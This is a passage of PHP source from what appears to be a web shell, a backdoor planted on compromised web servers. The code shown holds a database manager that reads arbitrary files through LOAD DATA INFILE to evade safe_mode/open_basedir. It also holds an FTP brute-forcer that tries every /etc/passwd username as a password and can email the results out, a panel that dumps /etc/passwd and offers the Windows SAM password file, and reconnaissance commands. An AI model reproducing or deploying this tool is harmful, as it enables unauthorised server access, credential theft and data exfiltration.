981 if ($e[0] == "d") {$asc_desc = "DESC";}
982 else {$asc_desc = "ASC";}
983 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
984 }
985 else {$v = "";}
986 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
987 $result = mysql_query($query) or print(mysql_smarterror());
988 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
989 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
990 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
991 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
992 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
993 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
994 if ($sql_tbl_act == "insert") {
995 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
996 if (!empty($sql_tbl_insert_radio)) { } //Not Ready
997 else {
998 echo "<br><br><b>Inserting row into table:</b><br>";
999 if (!empty($sql_tbl_insert_q)) {
1000 $sql_query = "SELECT * FROM `".$sql_tbl."`";
1001 $sql_query .= " WHERE".$sql_tbl_insert_q;
1002 $sql_query .= " LIMIT 1;";
1003 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1004 $values = mysql_fetch_assoc($result);
1005 mysql_free_result($result);
1006 }
1007 else {$values = array();}
1008 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1009 foreach ($tbl_struct_fields as $field) {
1010 $name = $field["Field"];
1011 if (empty($sql_tbl_insert_q)) {$v = "";}
1012 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1013 $i++;
1014 }
1015 echo "</table><br>";
1016 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1017 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1018 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1019 }
1020 }
1021 if ($sql_tbl_act == "browse") {
1022 $sql_tbl_ls = abs($sql_tbl_ls);
1023 $sql_tbl_le = abs($sql_tbl_le);
1024 echo "<hr size=\"1\" noshade>";
1025 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
1026 $b = 0;
1027 for($i=0;$i<$numpages;$i++) {
1028 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1029 echo $i;
1030 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1031 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1032 else {echo " ";}
1033 }
1034 if ($i == 0) {echo "empty";}
1035 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
1036 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
1037 echo "<tr>";
1038 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1039 for ($i=0;$i<mysql_num_fields($result);$i++) {
1040 $v = mysql_field_name($result,$i);
1041 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1042 else {$s = "a"; $m = "desc";}
1043 echo "<td>";
1044 if (empty($e[0])) {$e[0] = "a";}
1045 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1046 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
1047 echo "</td>";
1048 }
1049 echo "<td><font color=\"green\"><b>Action</b></font></td>";
1050 echo "</tr>";
1051 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1052 echo "<tr>";
1053 $w = "";
1054 $i = 0;
1055 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1056 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1057 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1058 $i = 0;
1059 foreach ($row as $k=>$v)
1060 {
1061 $v = htmlspecialchars($v);
1062 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1063 echo "<td>".$v."</td>";
1064 $i++;
1065 }
1066 echo "<td>";
1067 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
1068 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
1069 echo "</td>";
1070 echo "</tr>";
1071 }
1072 mysql_free_result($result);
1073 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1074 echo "<option value=\"\">With selected:</option>";
1075 echo "<option value=\"deleterow\">Delete</option>";
1076 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
1077 }
1078 }
1079 else {
1080 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1081 if (!$result) {echo mysql_smarterror();}
1082 else
1083 {
1084 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1085 $i = 0;
1086 $tsize = $trows = 0;
1087 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1088 {
1089 $tsize += $row["Data_length"];
1090 $trows += $row["Rows"];
1091 $size = view_size($row["Data_length"]);
1092 echo "<tr>";
1093 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1094 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
1095 echo "<td>".$row["Rows"]."</td>";
1096 echo "<td>".$row["Type"]."</td>";
1097 echo "<td>".$row["Create_time"]."</td>";
1098 echo "<td>".$row["Update_time"]."</td>";
1099 echo "<td>".$size."</td>";
1100 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
1101 echo "</tr>";
1102 $i++;
1103 }
1104 echo "<tr bgcolor=\"000000\">";
1105 echo "<td><center><b>+</b></center></td>";
1106 echo "<td><center><b>".$i." table(s)</b></center></td>";
1107 echo "<td><b>".$trows."</b></td>";
1108 echo "<td>".$row[1]."</td>";
1109 echo "<td>".$row[10]."</td>";
1110 echo "<td>".$row[11]."</td>";
1111 echo "<td><b>".view_size($tsize)."</b></td>";
1112 echo "<td></td>";
1113 echo "</tr>";
1114 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1115 echo "<option value=\"\">With selected:</option>";
1116 echo "<option value=\"tbldrop\">Drop</option>";
1117 echo "<option value=\"tblempty\">Empty</option>";
1118 echo "<option value=\"tbldump\">Dump</option>";
1119 echo "<option value=\"tblcheck\">Check table</option>";
1120 echo "<option value=\"tbloptimize\">Optimize table</option>";
1121 echo "<option value=\"tblrepair\">Repair table</option>";
1122 echo "<option value=\"tblanalyze\">Analyze table</option>";
1123 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
1124 mysql_free_result($result);
1125 }
1126 }
1127 }
1128 }
1129 }
1130 else {
1131 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1132 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1133 if (!empty($sql_act)) {
1134 echo "<hr size=\"1\" noshade>";
1135 if ($sql_act == "newdb") {
1136 echo "<b>";
1137 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1138 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1139 }
1140 if ($sql_act == "serverstatus") {
1141 $result = mysql_query("SHOW STATUS", $sql_sock);
1142 echo "<center><b>Server-status variables:</b><br><br>";
1143 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1144 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1145 echo "</table></center>";
1146 mysql_free_result($result);
1147 }
1148 if ($sql_act == "servervars") {
1149 $result = mysql_query("SHOW VARIABLES", $sql_sock);
1150 echo "<center><b>Server variables:</b><br><br>";
1151 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1152 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1153 echo "</table>";
1154 mysql_free_result($result);
1155 }
1156 if ($sql_act == "processes") {
1157 if (!empty($kill)) {
1158 $query = "KILL ".$kill.";";
1159 $result = mysql_query($query, $sql_sock);
1160 echo "<b>Process #".$kill." was killed.</b>";
1161 }
1162 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1163 echo "<center><b>Processes:</b><br><br>";
1164 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1165 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1166 echo "</table>";
1167 mysql_free_result($result);
1168 }
1169 if ($sql_act == "getfile")
1170 {
1171 $tmpdb = $sql_login."_tmpdb";
1172 $select = mysql_select_db($tmpdb);
1173 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1174 if ($select)
1175 {
1176 $created = FALSE;
1177 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1178 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1179 $result = mysql_query("SELECT * FROM tmp_file;");
1180 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1181 else
1182 {
1183 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1184 $f = "";
1185 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1186 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1187 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1188 mysql_free_result($result);
1189 mysql_query("DROP TABLE tmp_file;");
1190 }
1191 }
1192 mysql_drop_db($tmpdb);
1193 }
1194 }
1195 }
1196}
1197echo "</td></tr></table>\n";
1198if ($sql_sock) {
1199 $affected = @mysql_affected_rows($sql_sock);
1200 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1201 echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
1202}
1203echo "</table>\n";
1204}
1205//End of SQL Manager
1206if ($act == "ftpquickbrute") {
1207echo "<center><table><tr><td class=barheader colspan=2>";
1208echo ".: Ftp Quick Brute :.</td></tr>";
1209echo "<tr><td>";
1210if ($win) { echo "Can't run on Windows!"; }
1211else {
1212 function tpftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
1213 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1214 else {$TRUE = TRUE;}
1215 if ($TRUE) {
1216 $sock = @ftp_connect($host,$port,$timeout);
1217 if (@ftp_login($sock,$login,$pass)) {
1218 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1219 ob_flush();
1220 return TRUE;
1221 }
1222 }
1223 }
1224 if (!empty($submit)) {
1225 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1226 $fp = fopen("/etc/passwd","r");
1227 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1228 else {
1229 if ($fqb_logging) {
1230 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1231 else {$fqb_logfp = FALSE;}
1232 $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1233 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1234 }
1235 ob_flush();
1236 $i = $success = 0;
1237 $ftpquick_st = getmicrotime();
1238 while(!feof($fp)) {
1239 $str = explode(":",fgets($fp,2048));
1240 if (tpftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1241 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1242 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1243 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1244 $success++;
1245 ob_flush();
1246 }
1247 if ($i > $fqb_lenght) {break;}
1248 $i++;
1249 }
1250 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1251 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1252 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1253 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1254 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1255 if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
1256 fclose($fqb_logfp);
1257 }
1258 }
1259 else {
1260 $logfile = $tmpdir_logs."tpsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1261 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1262 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
1263 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1264 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1265 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1266 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1267 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1268 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1269 }
1270 echo "</td></tr></table></center>";
1271}
1272}
1273if ($act == "d") {
1274 if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
1275 else {
1276 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1277 if (!$win) {
1278 echo "<tr><td><b>Owner/Group</b></td><td> ";
1279 $ow = posix_getpwuid(fileowner($d));
1280 $gr = posix_getgrgid(filegroup($d));
1281 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1282 }
1283 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
1284 }
1285}
1286if ($act == "phpinfo") {@ob_clean(); phpinfo(); tpshexit();}
1287if ($act == "security") {
1288 echo "<div class=barheader>.: Server Security Information :.</div>\n".
1289 "<table>\n".
1290 "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
1291 echo "<td>Password File</td><td>";
1292 if (!$win) {
1293 if ($nixpasswd) {
1294 if ($nixpasswd == 1) {$nixpasswd = 0;}
1295 echo "*nix /etc/passwd:<br>";
1296 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1297 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1298 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
1299 $i = $nixpwd_s;
1300 while ($i < $nixpwd_e) {
1301 $uid = posix_getpwuid($i);
1302 if ($uid) {
1303 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1304 echo join(":",$uid)."<br>";
1305 }
1306 $i++;
1307 }
1308 }
1309 else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
1310 }
1311 else {
1312 $v = $_SERVER["WINDIR"]."\repair\sam";
1313 if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
1314 }
1315 echo "</td></tr>\n";
1316 echo "<tr><td>Config Files</td><td>\n";
1317 if (!$win) {
1318 $v = array(
1319 array("User Domains","/etc/userdomains"),
1320 array("Cpanel Config","/var/cpanel/accounting.log"),
1321 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1322 array("Apache Config","/etc/httpd.conf"),
1323 array("Syslog Config","/etc/syslog.conf"),
1324 array("Message of The Day","/etc/motd"),
1325 array("Hosts","/etc/hosts")
1326 );
1327 $sep = "/";
1328 }
1329 else {
1330 $windir = $_SERVER["WINDIR"];
1331 $etcdir = $windir . "\system32\drivers\etc\\";
1332 $v = array(
1333 array("Hosts",$etcdir."hosts"),
1334 array("Local Network Map",$etcdir."networks"),
1335 array("LM Hosts",$etcdir."lmhosts.sam"),
1336 );
1337 $sep = "\\";
1338 }
1339 foreach ($v as $sec_arr) {
1340 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1341 $sec_d = rtrim($sec_arr[1],$sec_f);
1342 $sec_full = $sec_d.$sec_f;
1343 $sec_d = rtrim($sec_d,$sep);
1344 if (file_get_contents($sec_full)) {
1345 echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
1346 }
1347 }
1348 echo "</td></tr>";
1349
1350 function displaysecinfo($name,$value) {
1351 if (!empty($value)) {
1352 echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
1353 }
1354 }
1355 if (!$win) {
1356 displaysecinfo("OS Version",tpexec("cat /proc/version"));
1357 displaysecinfo("Kernel Version",tpexec("sysctl -a | grep version"));
1358 displaysecinfo("Distrib Name",tpexec("cat /etc/issue.net"));
1359 displaysecinfo("Distrib Name (2)",tpexec("cat /etc/*-realise"));
1360 displaysecinfo("CPU Info",tpexec("cat /proc/cpuinfo"));
1361 displaysecinfo("RAM",tpexec("free -m"));
1362 displaysecinfo("HDD Space",tpexec("df -h"));
1363 displaysecinfo("List of Attributes",tpexec("lsattr -a"));
1364 displaysecinfo("Mount Options",tpexec("cat /etc/fstab"));
1365 displaysecinfo("lynx installed?",tpexec("which lynx"));
1366 displaysecinfo("links installed?",tpexec("which links"));
1367 displaysecinfo("GET installed?",tpexec("which GET"));
1368 displaysecinfo("Where is Apache?",tpexec("whereis apache"));
1369 displaysecinfo("Where is perl?",tpexec("whereis perl"));
1370 displaysecinfo("Locate proftpd.conf",tpexec("locate proftpd.conf"));
1371 displaysecinfo("Locate httpd.conf",tpexec("locate httpd.conf"));
1372 displaysecinfo("Locate my.conf",tpexec("locate my.conf"));
1373 displaysecinfo("Locate psybnc.conf",tpexec("locate psybnc.conf"));
1374 }
1375 else {
1376 displaysecinfo("OS Version",tpexec("ver"));
1377 displaysecinfo("Account Settings",tpexec("net accounts"));
1378 displaysecinfo("User Accounts",tpexec("net user"));
1379 }
1380 echo "</table>\n";
1381}
1382if ($act == "mkfile") {
1383 if ($mkfile != $d) {
1384 if ($overwrite == 0) {
1385 if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1386 }
1387 else {
1388 if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1389 else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
1390 }
1391 }
1392 else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
1393}
1394if ($act == "encoder") {
1395echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
1396 "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
1397 "<input type=hidden name=act value=encoder>".
1398 "<center><table class=contents>".
1399 "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
1400 "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
1401 "<input type=submit value=\"calculate\"></td></tr>".
1402 "<tr><td rowspan=4>Hashes:</td>";
1403foreach(array("md5","crypt","sha1","crc32") as $v) {
1404 echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
1405}
1406echo "</tr>".
1407 "<tr><td rowspan=2>Url:</td>".
1408 "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
1409 "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
1410 "<tr><td rowspan=2>Base64:</td>".
1411 "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
1412 "<tr><td>base64_decode:</td><td>";
1413if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
1414else {
1415 $debase64 = base64_decode($encoder_input);
1416 $debase64 = str_replace("\0","[0]",$debase64);
1417 $a = explode("\r\n",$debase64);
1418 $rows = count($a);
